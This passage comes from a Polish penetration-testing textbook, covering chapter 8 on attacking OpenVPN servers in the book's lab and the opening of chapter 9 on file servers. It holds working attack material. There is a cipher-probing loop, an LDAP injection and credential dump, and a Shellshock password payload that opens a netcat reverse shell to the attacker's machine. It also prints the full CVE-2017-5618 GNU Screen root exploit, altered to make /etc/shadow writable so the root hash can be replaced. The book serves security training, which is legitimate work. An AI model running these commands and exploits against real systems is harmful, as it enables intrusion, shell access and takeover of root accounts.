TLS-ECDHE-RSA-WITH-AES-128-CBC-SHA256
TLS-ECDHE-ECDSA-WITH-AES-128-CBC-SHA256
TLS-ECDHE-RSA-WITH-AES-128-CBC-SHA
TLS-ECDHE-ECDSA-WITH-AES-128-CBC-SHA
TLS-DHE-RSA-WITH-AES-128-GCM-SHA256
TLS-DHE-RSA-WITH-AES-128-CBC-SHA256
TLS-DHE-RSA-WITH-AES-128-CBC-SHA
TLS-DHE-RSA-WITH-CAMELLIA-128-CBC-SHA

Be aware that that whether a cipher suite in this list can actually work
depends on the specific setup of both peers. See the man page entries of
--tls-cipher and --show-tls for more details.

Zauważ, że nawet w tym miejscu jesteśmy ostrzegani, że działanie danej metody szyfrowania
uzależnione jest od konfiguracji zastosowanej w serwerze i w kliencie. Aby dowiedzieć się, jakiej
metody szyfrowania używa serwer, spróbuj połączyć się z nim, sprawdzając za pomocą kolejnych
metod, czy takie połączenie zostanie zaakceptowane. To jeszcze nie oznacza, że uzyskasz dostęp do
sieci VPN, ponieważ samo połączenie nie oznacza jeszcze autoryzacji. Dowiesz się jednak, w jaki
sposób dany serwer OpenVPN szyfruje swoje klucze.
Możesz przygotować prostą pętlę w bashu, która przejdzie całą listę metod szyfrowania i wypi-
sze w terminalu ich nazwy. W kolejnym kroku możesz rozbudować ten kod tak, żeby w każdej
iteracji dokonywał próby logowania do serwera. Pamiętaj, żeby naciskać klawisz Enter po każdym
wierszu tekstu z poniższego listingu. Nie musisz natomiast wpisywać znaku „większe niż”, ponie-
waż będzie się on pojawiał za każdym razem, gdy rozpoczniesz nowy wiersz kodu.
for cipher in `openvpn --show-tls | grep TLS-`;do echo $cipher;done

Ta pętla będzie iterować po liście dostępnych metod szyfrowania i wypisywać ich nazwy.
Teraz spróbujmy zalogować się do serwera VPN, używając każdej metody szyfrowania z tej listy.
Serwer będzie prosił o podanie nazwy użytkownika i hasła. Na razie wprowadzaj w odpowiedzi tylko
jedną literę, na przykład a.
for cipher in `openvpn --show-tls | grep TLS-`;
do echo $cipher;
openvpn --client --remote <AdresIP> --auth-user-pass --dev tun --ca
ca.crt --auth-nocache --comp-lzo --tls-cipher $cipher;
done

Na początku zobaczysz tylko poniższy tekst oraz prośbę o podanie nazwy użytkownika:
Thu Mar 28 13:43:04 2019 OpenVPN 2.4.3 x86_64-pc-linux-gnu [SSL
(OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Jun
30 2017
Thu Mar 28 13:43:04 2019 library versions: OpenSSL 1.0.2q 20 Nov 2018,
LZO 2.10
Enter Auth Username:

3681988c430c7fe1e8567c4e2f281f7b
3
OpenVPN 287

Po wpisaniu nazwy użytkownika serwer poprosi o podanie hasła (wpisz literę a, żeby przejść
ten krok), a potem pojawią się komunikaty o błędach, podobne do poniższych:
Thu Mar 28 13:43:06 2019 WARNING: No server certificate verification
method has been enabled. See http://openvpn.net/howto.html#mitm for more info.
Thu Mar 28 13:43:06 2019 TCP/UDP: Preserving recently used remote
address: [AF_INET]192.168.56.103:1194
Thu Mar 28 13:43:06 2019 UDP link local (bound): [AF_INET][undef]:1194
Thu Mar 28 13:43:06 2019 UDP link remote: [AF_INET]192.168.56.103:1194

Na tym etapie albo nie powinno dziać się już nic więcej, albo klient zakończy pracę z kodem
błędu. To ostatnie będzie oznaczało, że podana metoda szyfrowania nie była poprawna. Naciśnij
klawisze Ctrl+C, aby przerwać tę iterację pętli, a proces logowania rozpocznie się od nowa. W takcie
tych prób na pewno zobaczysz wiele komunikatów o nieudanych połączeniach TLS, takich jak TLS
Error: TLS handshake failed, ale w końcu pojawią się też komunikaty podobne do poniższych:
Thu Mar 28 14:00:39 2019 [vpnserver01] Peer Connection Initiated with
[AF_INET]192.168.56.103:1194
Thu Mar 28 14:00:40 2019 AUTH: Received control message: AUTH_FAILED
Thu Mar 28 14:00:40 2019 SIGTERM[soft,auth-failure] received, process
exiting

Na razie nie chodzi o to, żeby zgadywać nazwę użytkownika i hasło, ale o informacje, jakie ser-
wer odsyła podczas próby uwierzytelniania. Jeżeli zobaczysz komunikat AUTH_FAILED, to znaczy, że
masz dobrany odpowiedni zbiór opcji. Serwer VPN rzeczywiście pobiera nazwę użytkownika oraz
hasło i próbuje użyć ich do uwierzytelniania. Te dane oczywiście nie są poprawne, ale i tak otrzy-
mujemy użyteczną informację, ponieważ teraz znamy już zestaw opcji szyfrowania, które są nie-
zbędne do komunikacji z serwerem VPN.
W laboratorium naszej książki zapisane są pewne informacje (w postaci pliku tekstowego),
zawierające dokładny opis opcji wymaganych do połączenia z serwerem, w tym i stosowana przy
połączeniu metoda szyfrowania. Czy udało Ci się już odnaleźć ten plik? Podczas skanowania labo-
ratorium za pomocą programu Nikto lub innego skanera podatności z pewnością natkniesz się na
zwyczajny plik tekstowy, który wygląda na coś, co zostało ujawnione przez przypadek. Zapisane są
w nim sugestie ułatwiające połączenie się z serwisem OpenVPN. Czytając ten plik, poznasz wyma-
ganą metodę szyfrowania, przez co proces zgadywania tej metody staje się niepotrzebny. Niestety
nie zawsze tak łatwo znajdziesz wszystkie informacje na temat parametrów połączenia z siecią.
Gdy już wiesz, jakiej metody szyfrowania należy użyć (niezależnie od tego, skąd pochodzi ta infor-
macja), możesz przystąpić do próby zalogowania się do sieci VPN za pomocą różnych nazw użyt-
kowników i haseł.

Może się okazać, że sieć VPN klienta ma włączoną opcję uwierzytelniania dwu-
składnikowego (2FA), co oznacza, że oprócz nazwy użytkownika i hasła potrzebne są jeszcze
inne informacje. Na przykład może to być kod podawany przez aplikację Google Authenticator.
W takiej sytuacji odgadnięcie poprawnej kombinacji nazwy użytkownika, hasła i kodu bę-
dzie bardzo trudne, ale zawsze można poszukać innych podatności. Jeżeli nasz klient nie
używa uwierzytelniania dwuskładnikowego w swojej sieci VPN, to w swoim raporcie lepiej
zapisać zalecenie dodania tej opcji.

3681988c430c7fe1e8567c4e2f281f7b
3
288 Rozdział 8  Wirtualne sieci prywatne

Poniżej widoczne jest nieco zmienione polecenie, którego można użyć, aby uzyskać dostęp do
serwera VPN. W tym przypadku nazwa login.conf odnosi się do pliku tekstowego zawierającego
poprawną nazwę użytkownika i hasło (nazwa użytkownika zapisana jest w pierwszym wierszu, na-
tomiast hasło znajduje się w drugim wierszu tego pliku):
openvpn --client --remote <AdresIP> --auth-user-pass login.conf
--dev tun --ca ca.crt --auth-nocache --comp-lzo --tls-cipher
<PoprawnaMetodaSzyfrowania>

Jeżeli podamy poprawne dane uwierzytelniające oraz właściwą metodę szyfrowania, to serwer
zezwoli na połączenie, a na ekranie pojawią się następujące komunikaty:
Thu Mar 28 14:28:53 2019 WARNING: file 'login.conf' is group or others accessible
Thu Mar 28 14:28:53 2019 OpenVPN 2.4.3 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL]
´[PKCS11] [MH/PKTINFO] [AEAD] built on Jun 30 2017
Thu Mar 28 14:28:53 2019 library versions: OpenSSL 1.0.2q 20 Nov 2018, LZO 2.10
Thu Mar 28 14:28:53 2019 WARNING: No server certificate verification method has been enabled.
´See http://openvpn.net/howto.html#mitm for more info.
Thu Mar 28 14:28:53 2019 TCP/UDP: Preserving recently used remoteaddress:
´[AF_INET]192.168.56.103:1194
Thu Mar 28 14:28:53 2019 UDP link local (bound): [AF_INET][undef]:1194
Thu Mar 28 14:28:53 2019 UDP link remote: [AF_INET]192.168.56.103:1194
Thu Mar 28 14:28:53 2019 [vpnserver01] Peer Connection Initiated with
´[AF_INET]192.168.56.103:1194
Thu Mar 28 14:28:54 2019 WARNING: INSECURE cipher with block size less than 128 bit (64 bit).
´This allows attacks like SWEET32. Mitigate by using a --cipher with a larger block size
´(e.g. AES-256-CBC).
Thu Mar 28 14:28:54 2019 WARNING: INSECURE cipher with block size less than 128 bit (64 bit).
´This allows attacks like SWEET32. Mitigate by using a --cipher with a larger block size
´(e.g. AES-256-CBC).
Thu Mar 28 14:28:54 2019 WARNING: cipher with small block size in use, reducing reneg-bytes
´to 64MB to mitigate SWEET32 attacks.
Thu Mar 28 14:28:54 2019 TUN/TAP device tun0 opened
Thu Mar 28 14:28:54 2019 do_ifconfig, tt->did_ifconfig_ipv6_setup=0
Thu Mar 28 14:28:54 2019 /sbin/ip link set dev tun0 up mtu 1500
Thu Mar 28 14:28:54 2019 /sbin/ip addr add dev tun0 local 10.10.10.6 peer 10.10.10.5
Thu Mar 28 14:28:54 2019 Initialization Sequence Completed

Wydruk programu kończy się słowami Initialization Sequence Completed, które są potwier-
dzeniem, że jesteśmy połączeni z serwerem VPN. Zwróć też uwagę na wyróżniony wiersz, który
jest informacją, że otwarte zostało nowe urządzenie o nazwie tun0. To urządzenie sieci wirtualnej,
poprzez które cały ruch sieciowy z maszyny wirtualnej Kali Linux będzie przesyłany, dzięki czemu
będzie on trafiał do zabezpieczonego tunelu. Jeżeli teraz w systemie Kali Linux uruchomisz pole-
cenie ip address, to zobaczysz nowe urządzenie, które będzie miało własny adres IP.
Ten adres pochodzący z zakresu 10.10.10.x jest adresem IP komputera podłączonego do sieci
VPN. Jeżeli do tej sieci podłączone byłyby też inne komputery, to każdy z nich otrzymałby adres
IP z tego samego zakresu. Możesz zatem uruchomić program Nmap i za jego pomocą przeskano-
wać sieć w poszukiwaniu adresów IP innych hostów w tej sieci VPN. Za pomocą poniższego pole-
cenia prosimy program Nmap o pingowanie adresów IP z zakresu 10.10.10.x:
nmap -sP 10.10.10.0/24

3681988c430c7fe1e8567c4e2f281f7b
3
OpenVPN 289

Takie działanie jest jedną z metod wyszukiwania hostów podłączonych do sieci. Działa ona
tylko w przypadku, gdy wszystkie hosty są skonfigurowane tak, żeby odpowiadać na żądania echo
lub żądania czasowe protokołu ICMP. Poza tym używa ona portów TCP 80 i 443, aby sprawdzić,
czy dany host rzeczywiście działa. W naszym przykładzie skanowanie wykryje jedynie adres
10.10.01.1, czyli wewnętrzny adres IP serwera VPN. Możesz teraz rozpocząć bardziej rozbudowane
skanowanie programem Nmap wszystkich hostów wykrytych w sieci. Można w ten sposób znaleźć
działający serwer WWW (podobny do tego z rysunku 8.3), realizujący funkcję drugiego uwierzy-
telniania, które czasami pojawia się po podłączeniu do firmowej sieci VPN.

Rysunek 8.3. Portal udostępniany po uwierzytelnieniu się w sieci VPN

To całkiem normalne, że po połączeniu z siecią VPN natykamy się na kolejną barierę, podobną
do tej przedstawionej na rysunku 8.3. Zwykle takie obostrzenia nazywane są drugim etapem
uwierzytelniania (ang. second stage authentication) i są często stosowane w rozwiązaniach umożli-
wiających pracę zdalną. W tym miejscu można próbować zalogować się, ale na pewno trzeba się
rozejrzeć i spróbować znaleźć różne ujawnione informacje albo podatności nadające się do wyko-
rzystania. Tak naprawdę trzeba tu wrócić na początek pracy i przeprowadzić różne skanowania
za pomocą narzędzi, które prezentowaliśmy do tej pory. Jeżeli próbujesz się zalogować, to pamiętaj
o korzystaniu z typowych par nazw użytkownika i hasła, takich jak admin/admin itd. W systemach
tego rodzaju należy zawsze przeprowadzać poszukiwanie podatności związanych ze wstrzykiwa-
niem (omówimy je w dalszej części rozdziału), ponieważ często łączą się one w tle z systemami
uwierzytelniania.

3681988c430c7fe1e8567c4e2f281f7b
3
290 Rozdział 8  Wirtualne sieci prywatne

LDAP
Wiele organizacji w swojej sieci VPN używa serwerów LDAP lub bazy danych SQL, aby potwier-
dzać poprawność danych uwierzytelniających. Czasami firmy za bardzo ufają oprogramowaniu
sieci VPN, a administratorzy systemów niesłusznie uważają, że serwer VPN sam odpowiednio
oczyści dane wprowadzone przez użytkownika, zanim te zostaną przesłane do składnicy danych.
W firmie Hacker House widzieliśmy już wiele serwerów VPN połączonych z serwerem baz danych,
w których nie wykonywano żadnej kontroli ani oczyszczania danych pochodzących od użytkow-
ników. Bardzo często używany jest serwis VPN stosujący filtr wyszukiwania LDAP w połączeniu
z serwerem LDAP (na przykład serwerem Microsoft Active Directory). Wyobraź sobie, że zapyta-
nie wyszukiwania w serwerze LDAP ma poniższą postać:
(cn=$user)

Załóżmy, że zmienna user jest przekazywana z serwera VPN bezpośrednio do zapytania LDAP.
Nic nie stoi zatem na przeszkodzie, żeby zamiast własnej nazwy użytkownika podać znak wielo-
znaczny, taki jak gwiazdka (*) lub znak procentu (%) w nadziei, że zostanie on włączony bezpośred-
nio do zapytania LDAP. Jeżeli tak by się stało, to będzie to przykład wstrzykiwania LDAP. Jest to
przykład podatności, której należy zawsze poszukiwać w sieciach VPN, ponieważ te bardzo często
współpracują z serwisami LDAP. Wykorzystywanie technik wstrzykiwania LDAP może pozwolić
na ujawnienie nazw użytkowników albo nawet ominięcie procesu uwierzytelniania.
Nasz przykładowy serwer VPN za ekranem logowania ukrywa aplikację phpLDAPadmin
(została napisana w języku PHP i służy do administracji serwisami LDAP), która jest podatna na
ataki wstrzykiwania LDAP i zawiera błąd umożliwiający pomijanie uwierzytelniania sesyjnym pli-
kiem cookie. Ten ostatni temat omówimy dokładniej w rozdziale poświęconym aplikacjom sie-
ciowym. Za pomocą aplikacji phpLDAPadmin można przeglądać dane wszystkich użytkowni-
ków systemu, co widać na rysunku 8.4.

Rysunek 8.4. phpLDAPadmin

3681988c430c7fe1e8567c4e2f281f7b
3
OpenVPN i Shellshock 291

Po poznaniu danych uwierzytelniających możesz użyć polecenia ldapsearch, aby połączyć się
ze zdalnym serwisem LDAP i wydobyć z niego informacje. Za pomocą poniższego polecenia można
odczytać katalog LDAP używany przez serwis VPN w ramach drugiego etapu uwierzytelniania.
Gdy system poprosi o hasło, wpisz admin, a w odpowiedzi otrzymasz listę skrótów haseł zapisanych
w systemie dla wszystkich użytkowników.
ldapsearch -h <AdresIP> -D "cn=admin,dc=vpnserver01" -W -b "dc=vpnserver01"

OpenVPN i Shellshock
Wersja serwera OpenVPN działająca w laboratorium naszej książki jest podatna również na ataki
Shellshock. Trochę czasu poświęciliśmy na zgadywanie nazw użytkowników i haseł, ale teraz wiemy
już, że w drugim etapie uwierzytelniania możliwe jest wstrzykiwanie zapytań LDAP. Czy przyszło
Ci do głowy, żeby w tym miejscu użyć innych znaków specjalnych? Mamy do dyspozycji dwa pola
(nazwa użytkownika i hasło), za pomocą których możemy przekazywać dane do serwera VPN,
a zatem powinniśmy sprawdzić, czy oba są podatne na typowe ataki wstrzykiwania zapytań.
W każdym systemie używającym przestarzałej wersji powłoki bash i przyjmującym od użyt-
kowników dane tekstowe warto spróbować wykorzystać błąd Shellshock. W przypadku tego ser-
wera VPN dane tekstowe przyjmowane są zarówno z pola nazwy użytkownika, jak i z pola hasła.
Sprawdźmy zatem, czy da się wykorzystać błąd Shellshock za pomocą wstrzyknięcia poleceń po-
przez plik login.conf. Na początku pliku spróbuj umieścić nazwę użytkownika, który na pewno
istnieje w systemie, ale znajdujące się w drugim wierszu hasło zmień tak jak poniżej. Chyba rozpo-
znajesz tu specjalny ciąg znaków?
() { :; }; /bin/bash -c "nc -e /bin/sh <KaliLinuxIP> 443" &

Podobnie jak we wcześniejszej próbie wykorzystania błędu Shellshock, tutaj również spróbu-
jemy uruchomić w zdalnym systemie program Netcat, który powinien połączyć się z naszym sys-
temem na porcie 443. Program Netcat będzie próbował połączyć działającą powłokę /bin/sh z na-
szym systemem, co powinno dać nam dostęp do zdalnej powłoki. Przed ponownym logowaniem się
do serwera OpenVPN i uruchomieniem złośliwego kodu musimy się upewnić, że w naszym syste-
mie program Netcat oczekuje na połączenia przychodzące na porcie, który już wcześniej zdefinio-
waliśmy. W tym celu należy w nowym oknie terminala uruchomić poniższe polecenie (z upraw-
nieniami użytkownika root, ponieważ tylko ten użytkownik może używać portów o numerze
mniejszym od 1024):
nc -v -l -p 443

Upewnij się, że przed ponowną próbą połączenia z serwerem poprzednie połączenie zostało
zamknięte (za pomocą klawiszy Ctrl+C).
openvpn --client --remote <AdresIP> --auth-user-pass login.conf
--dev tun --ca ca.crt --auth-nocache --comp-lzo --tls-cipher
<PoprawnaMetodaSzyfrowania>

3681988c430c7fe1e8567c4e2f281f7b
3
292 Rozdział 8  Wirtualne sieci prywatne

Nasłuchujący program Netcat powinien przyjąć teraz połączenie, dzięki czemu zyskasz dostęp
do powłoki na serwerze VPN:
listening on [any] 443 ...
<TargetIP> : inverse host lookup failed: Unknown host
connect to [<KaliLinuxIP> ] from (UNKNOWN) [ <TargetIP> ] 42914

Pamiętaj o rozbudowaniu dostępnej powłoki — aby dodać do niej funkcje sterowania zada-
niami, dostęp do interfejsu TTY — i o pozyskaniu swojego profilu. To wszystko pozwoli na prze-
prowadzenie kolejnego ataku w celu zwiększenia swoich uprawnień.

Wykorzystywanie błędu CVE-2017-5618

Jeżeli uda Ci się uzyskać dostęp do powłoki zwykłego użytkownika serwera VPN, to w kolejnym
etapie należy przystąpić do prób podniesienia swojego poziomu uprawnień, tak jak robiliśmy to w ser-
werach DNS, pocztowym i WWW. Niezależnie od przeznaczenia danego serwera można w tym celu
wykorzystywać tę samą metodę. Najpierw należy wyszukać odpowiednią podatność, najlepiej ra-
zem z gotowym exploitem, który można uruchomić w celu uzyskania uprawnień użytkownika root.
W poprzednim rozdziale do podniesienia swoich uprawnień używaliśmy exploitu atakującego
błąd jądra systemu (DirtyCOW), ale tym razem spróbujemy użyć metody podniesienia uprawnień
w obszarze użytkownika (ang. userland). Exploity działające w obszarze użytkownika są zwykle bez-
pieczniejsze od exploitów atakujących jądro systemu, ponieważ za cel biorą sobie pogramy lub pro-
cesy, które nie są niezbędne do poprawnego działania całego systemu.

Pamiętaj, że podniesienie uprawnień w obszarze użytkownika jest znacznie bez-

pieczniejszym rozwiązaniem w porównaniu z wykorzystywaniem ataków na jądro systemu.
Takie rozwiązania są zwykle znacznie stabilniejsze, podczas gdy ataki na jądro systemu często
prowadzą do jego niestabilności. Pamiętaj, że mówimy tu o systemie, który może być sys-
temem niezbędnym do utrzymania pracy w firmie Twojego klienta!

Ten konkretny exploit atakuje program o nazwie Screen (terminalowe narzędzie do zarządzania
oknami) i powinien działać z każdą wersją aż do numeru 4.5.0. Jeżeli poszukasz informacji o tym
programie w takich narzędziach jak Searchsploit lub Metasploit, to na pewno znajdziesz odpo-
wiedni dla siebie exploit. Tym razem będziemy jednak pracować nieco inaczej.
Z adresu www.hackerhousebook.com/files/screen.sh można pobrać specjalny skrypt. Tworzy on
plik biblioteki, która wykorzystuje błąd programu Screen umożliwiający wstrzykiwanie kodu, a na-
stępnie uruchamia powłokę /bin/sh, używając do tego wstrzykniętego kodu biblioteki. Problemem
tego exploitu jest to, że domyślne powłoki używane w systemach uniksowych i linuksowych zwykle
odrzucają uprawnienia, jakie chcemy uzyskać za pomocą tego skryptu, przez co nasz kod nie zawsze
zadziała. (W powłoce bash możesz użyć parametru -p, aby zachować uzyskane uprawnienia). Można
też tak zmodyfikować skrypt, żeby działał poprawnie również wtedy, gdy domyślna powłoka nie
udostępnia wystarczających uprawnień.
Na listingu 8.1 przedstawiamy cały kod tego skryptu. Zwróć uwagę na wiersze wyróżnione w ko-
dzie, które są wykonywane z uprawnieniami użytkownika root.

3681988c430c7fe1e8567c4e2f281f7b
3
Wykorzystywanie błędu CVE-2017-5618 293

Listing 8.1. Exploit wykorzystujący błąd CVE-2017-5618

#!/bin/bash
# screenroot.sh
# lokalny exploit atakujący program screen v4.5.0
# wykorzystuje bibliotekę ld.so.preload, aby uzyskać uprawnienia root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] Najpierw tworzymy swoją powłokę i bibliotekę..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
_attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Teraz tworzymy własny plik /etc/ld.so.preload..."
cd /etc
umask 000 # ponieważ
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # potrzebny znak nowego wiersza
needed
echo "[+] Uruchamiam..."
screen -ls # sam program screen ma flagę setuid, a zatem...
/tmp/rootshell

Wewnątrz wyróżnionej funkcji dropshell znajdują się polecenia, które są uruchamiane

z uprawnieniami użytkownika root. Ta część exploitu zawsze działa zgodnie z oczekiwaniami,
a w tym miejscu programu możemy uruchomić dowolny kod z tak zwiększonymi uprawnieniami.
Jak wiesz, możliwość uruchomienia dowolnego kodu z uprawnieniami użytkownika root daje na-
prawdę ogromne możliwości.
Dlaczego zatem nie zmodyfikować funkcji dropshell tak, żeby zmieniała ona uprawnienia do
pliku /etc/passwd lub /etc/shadow albo dopisywała parametr -p do powłoki, aby można było zacho-
wać zwiększone uprawnienia? Z czasem zauważysz, że niekiedy trzeba zmienić kod publicznie
dostępnego exploitu, aby dopasować go do konkretnego systemu, który chcemy zaatakować.

3681988c430c7fe1e8567c4e2f281f7b
3
294 Rozdział 8  Wirtualne sieci prywatne

To właśnie przykład takiej modyfikacji kodu exploitu. Musisz zatem zmienić kod funkcji dropshell,
tak żeby wyglądała jak poniższa:
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
chmod ("/etc/passwd", 0777); // dodano ten wiersz
chmod ("/etc/shadow", 0777); // I ten też!
printf("[+] done!\n");
}

Zauważ, że dwa nowe wiersze kodu zmieniają uprawnienia do plików passwd i shadow. Pozo-
stała część kodu nie została zmieniona. Teraz trzeba jeszcze dostarczyć skrypt do zdalnego hosta.
Możesz do tego wykorzystać program Netcat, tak jak zrobiliśmy to w poprzednim rozdziale.
W systemie Kali Linux użyj poniższego polecenia:
nc -v -l -p 80 < screen.sh

Z kolei w atakowanym systemie należy użyć tego polecenia:

nc <KaliLinuxIP> 80 > screen.sh

Pamiętaj, że program Netcat nie zakończy pracy automatycznie po zakończeniu przesyłania pliku,
nie wyświetli też żadnej informacji o postępach w przesyłaniu pliku. Gdy uznasz, że plik został prze-
słany w całości (wystarczy poczekać kilka chwil), możesz zakończyć połączenie. Upewnij się też, że
w drugim poleceniu użyto właściwego adresu IP maszyny wirtualnej Kali Linux.
Może się też okazać, że nie da się zapisywać danych w dowolnym folderze w zdalnym systemie.
Zawsze można zapisywać w katalogu /tmp albo trzeba poświęcić trochę czasu na znalezienie wła-
ściwego miejsca. Upewnij się, że jest to aktualny katalog, a dopiero potem próbuj zapisać plik
screen.sh w zdalnym systemie. Po skutecznym przesłaniu pliku trzeba zmienić jego znaczniki za
pomocą polecenia chmod +x screen.sh, aby umożliwić jego uruchamianie. Na koniec możesz już
uruchomić skrypt za pomocą polecenia ./screen.sh.
Teraz możesz się przekonać, że pliki passwd i shadow mogą zostać odczytane przez dowolnego
użytkownika. Polecenia cat /etc/passwd i cat /etc/shadow wypiszą po prostu nazwy użytkowni-
ków i przypisane im skróty haseł. Możesz spróbować złamać te hasła, ale można też wypróbować
inną sztuczkę. A może zastąpić w pliku skrót hasła użytkownika root jakimś innym skrótem, na
przykład skrótem znanego nam już hasła?

Przed wprowadzeniem jakichkolwiek zmian do plików znajdujących się w syste-

mach klienta ten powinien wykonać odpowiednie kopie zapasowe. Po wprowadzeniu zmian
do plików i osiągnięciu planowanych celów należy też przywrócić pierwotną postać wszyst-
kim zmodyfikowanym plikom.

Prawdopodobnie najprostszym sposobem edytowania pliku shadow jest przesłanie go do systemu

Kali Linux (za pomocą programu Netcat) i wprowadzenie tam niezbędnych zmian. Tutaj możesz
podmienić skrót hasła użytkownika root innym skrótem z tego pliku, takim, do którego znasz już
hasło. Na przykład prawdopodobnie znasz już hasło użytkownika admin, a zatem możesz łatwo pod-
mienić, kopiując i wklejając, skrót hasła tego użytkownika w miejsce skrótu hasła użytkownika root.

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 295

Po przesłaniu zmodyfikowanego pliku shadow do zdalnego systemu możesz użyć polecenia su

i wpisać hasło użytkownika admin (które teraz jest też hasłem użytkownika root). I w ten oto spo-
sobów masz już uprawnienia użytkownika root! Możesz teraz natychmiast odtworzyć pierwotną
postać pliku shadow i nic Ci tych uprawnień nie odbierze. Po pierwsze trzeba poinformować klienta
o dokonanym odkryciu, ale przy okazji można też sprawdzić, co jeszcze dałoby się zrobić na tym
serwerze. Z takiego przyczółku można próbować atakować inne systemy albo wykryć jakieś ważne
informacje, co oczywiście również należy zawrzeć w raporcie przygotowanym dla klienta.

Podsumowanie
Co prawda sieci VPN używające niebezpiecznej kombinacji protokołów IKE i IPsec nie występują
już tak często jak dawniej, ale nadal spotyka się serwery, które ujawniają klucz PSK w trakcie usta-
nawiania połączenia w trybie agresywnym i umożliwiają enumerowanie kolejnych opcji kojarzenia
zabezpieczeń. OpenVPN jest często stosowaną technologią sieci VPN, która również jest trapiona róż-
nymi problemami, a my obejrzeliśmy zaledwie czubek góry lodowej zbudowanej z tych problemów.
Poznaliśmy tu program Hping3 oraz podstawowe zasady dotyczące skanowania portów takimi
narzędziami jak Nmap. W tym rozdziale skupialiśmy się raczej na usługach używających protokołu
UDP, a nie TCP, ale trzeba pamiętać o konieczności skanowania zarówno portów TCP, jak i portów
UDP. Nie można zapomnieć o sondowaniu wykrytych usług w celu uzyskania dodatkowych informacji.
Pamiętaj, że serwer VPN musi mieć sposób uwierzytelniania swoich użytkowników, a do tego
musi używać jakiejś bazy danych, którą można wykorzystać lub pobrać z niej informacje. Czasami
osoby konfigurujące sieć VPN zapominają o tym, że złośliwe dane mogą zostać przekazane bezpo-
średnio do systemów działających w tle (baz danych lub systemów uwierzytelniających), co może
umożliwiać zdalne wykonywanie kodu albo wstrzykiwanie poleceń.
Jeżeli możesz się połączyć z siecią VPN, to tym samym zyskujesz dostęp do całkiem nowej sieci
(zapewne do sieci wewnętrznej). W takiej sieci z pewnością będą istniały też inne systemy, z których
część będzie wymagała uwierzytelniania, a część z tego zrezygnuje.
W następnej części tej książki przyjrzymy się różnym typom hostów, na które można się natknąć
w sieciach wewnętrznych. Następny przystanek naszej „wycieczki” to serwer plików, który często
opisywany jest skrótem NAS (Network Attached Storage), a później zajmiemy się systemem UNIX
oraz serwerem baz danych.

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

9
Pliki i współdzielenie plików

Wszystkie urządzenia, katalogi i dokumenty (obrazki, dane audio lub po prostu tekst) istniejące
w systemie uniksowym są tak naprawdę tylko plikami. Każdy z tych plików jest zapisany w systemie
plików definiującym model uprawnień opisujący, kto może uzyskać do nich dostęp. To bardzo
ważne, żeby poznać metody działania systemów plików, szczególnie w zakresie modelu uprawnień,
ponieważ nawet drobne modyfikacje wprowadzane do różnych plików mogą powodować powsta-
wanie poważnych podatności.
W tym rozdziale poznamy różne uprawnienia dostępu do plików oraz protokoły używane do
współdzielenia plików w sieciach komputerowych. Przyjrzymy się tutaj sieciom wewnętrznym,
łączącym bardzo zróżnicowane hosty, które muszą się ze sobą komunikować. Tym razem nie bę-
dzie to świat składający się wyłącznie z systemów linuksowych, bo w firmowych sieciach używane
są również własnościowe systemu firmy Microsoft o całkowicie zamkniętych źródłach.
Wyobraź sobie, że udało Ci się przełamać zewnętrzne zabezpieczenia sieci firmowej poprzez jej
serwer VPN (na przykład wykorzystując do tego techniki zaprezentowane w poprzednim roz-
dziale), a teraz widzisz już hosty podłączone do sieci wewnętrznej. Bardzo prawdopodobne jest,
że jednym z tych hostów będzie serwer plików albo urządzenie NSA (Network-Attached Storage).
Teraz nie mamy już do czynienia z hostami dostępnymi publicznie, ale z komputerami, do których
mają mieć dostęp wyłącznie pracownicy danej firmy. Jeżeli pracujesz dla swojego klienta, to czasem
możesz otrzymać zlecenie dokonania oceny bezpieczeństwa sieci wewnętrznej, niezależnie od tego,
czy w systemach granicznych zostały znalezione jakieś błędy. W większości firm w sieci wewnętrznej
dostępnych jest wiele wrażliwych informacji, dlatego wyszukanie miejsc przechowywania takich
danych jest jednym z głównych zadań na liście każdego hakera. Dla hakera nie ma nic wspanial-
szego od znalezienia pliku o nazwie hasła.txt zapisanego w katalogu głównym jakiegoś użytkow-
nika! Przenieśliśmy się teraz do sieci wewnętrznej, ale trzeba pamiętać, że interesujące nas usługi
nie są używane wyłącznie w takich sieciach. Można je spotkać również w hostach dostępnych pu-
blicznie, ale i wtedy można korzystać z technik, które opiszemy w tym rozdziale.

296

3681988c430c7fe1e8567c4e2f281f7b
3
Czym są urządzenia NAS? 297

Czym są urządzenia NAS?

Zadaniem urządzenia NAS, nazywanego też serwerem plików, jest przechowywanie różnych pli-
ków i udostępnianie ich pracownikom firmy lub członkom organizacji. To pozornie proste zadanie
może być realizowane za pośrednictwem wielu różnych protokołów, które mogą być implemento-
wane na wiele różnych sposobów, a każdy z nich może mieć własne, bardzo ciekawe błędy. Kom-
putery przechowujące duże ilości danych zwykle są podłączone do bardzo szybkich sieci wewnętrz-
nych, co pozwala im szybko i skutecznie przekazywać pliki różnym hostom i stacjom roboczym.
Serwery plików opisywane są też innymi nazwami, takimi jak SAN (Storage Area Network — sieć
przechowywania danych). Ten rodzaj serwera jest tak naprawdę specjalną siecią o wysokiej prze-
pustowości wyposażoną w szybkie dyski twarde, co pozwala im wypełnić wymagania stawiane
przez całą firmę. Tak wysoka przepustowość i szybkość działania hostów oraz sieci przechowu-
